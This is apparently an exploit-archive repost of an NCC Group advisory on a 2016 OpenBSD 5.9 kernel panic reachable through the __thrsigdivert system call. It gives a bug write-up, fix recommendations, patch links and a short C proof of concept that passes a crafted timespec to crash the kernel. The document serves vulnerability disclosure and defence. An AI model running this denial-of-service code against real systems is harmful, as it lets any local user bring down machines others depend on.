Home / exploitsPDF  

OpenBSD 5.9 kernel panic through the __thrsigdivert system call

Posted on 30 November -0001

<HTML><HEAD><TITLE>OpenBSD 5.9 kernel panic through the __thrsigdivert system call</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>/* * thrsigdivert_panic.c * Demonstrate a panic through the __thrsigdivert system call. * * gcc -g thrsigdivert_panic.c -o thrsigdivert_panic */ #ifdef BUG_WRITEUP //--------------------------------------------------- __thrsigdivert validation is insufficient and can lead to a panic. Impact: Any user can panic the OpenBSD kernel with the __thrsigdivert system call. Description: The __thrsigdivert system call allows a user to sleep for some amount of time waiting for a signal. The system call validates the user-provided parameters in sys___thrsigdivert() (kern/kern_sig.c) before calling to lower layers to implement the sleep: if (ts.tv_nsec < 0 || ts.tv_nsec >= 1000000000) timeinvalid = 1; else { to_ticks = (long long)hz * ts.tv_sec + ts.tv_nsec / (tick * 1000); if (to_ticks > INT_MAX) to_ticks = INT_MAX; } This validation is insufficient. Some values of the user-provided ts can lead to a negative to_ticks value after conversion. This condition triggers a panic in timeout_add (kern/kern_timeout.c) when the to_ticks value is checked to be positive: if (to_ticks < 0) panic("timeout_add: to_ticks (%d) < 0", to_ticks); Reproduction: Run the attached thrsigdivert_panic.c program. NCC verified that it causes a panic on OpenBSD 5.9 GENERIC kernel on an x86_64 processor. NCC Group was able to reproduce this issue on OpenBSD 5.9 release running amd64. Recommendation: Return an error it ts.tv_sec is negative in sys___thrsigdivert. Check to see if to_ticks is negative in sys___thrsigdivert (kern/kern_sig.c) and, if so, saturate its value at INT_MAX, since this indicates an overly large value. Reported: 2016-07-05 Fixed: http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/kern_sig.c.diff?r1=1.200&r2=1.201 http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/kern_synch.c.diff?r1=1.132&r2=1.133 http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/kern_tc.c.diff?r1=1.28&r2=1.29 http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/kern_timeout.c.diff?r1=1.47&r2=1.48 http://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/018_timeout.patch.sig http://ftp.openbsd.org/pub/OpenBSD/patches/5.8/common/021_timeout.patch.sig #endif // BUG_WRITEUP --------------------------------------------------- #include <stdio.h> #include <sys/signal.h> int __thrsigdivert(sigset_t set, siginfo_t *info, const struct timespec *timeout); int main(int argc, char **argv) { struct timespec tsp = { 0x687327fff5612f21, 0x63760a}; siginfo_t info; __thrsigdivert(1, &info, &tsp); printf("nothing happened! "); return 0; } </BODY></HTML>

 

TOP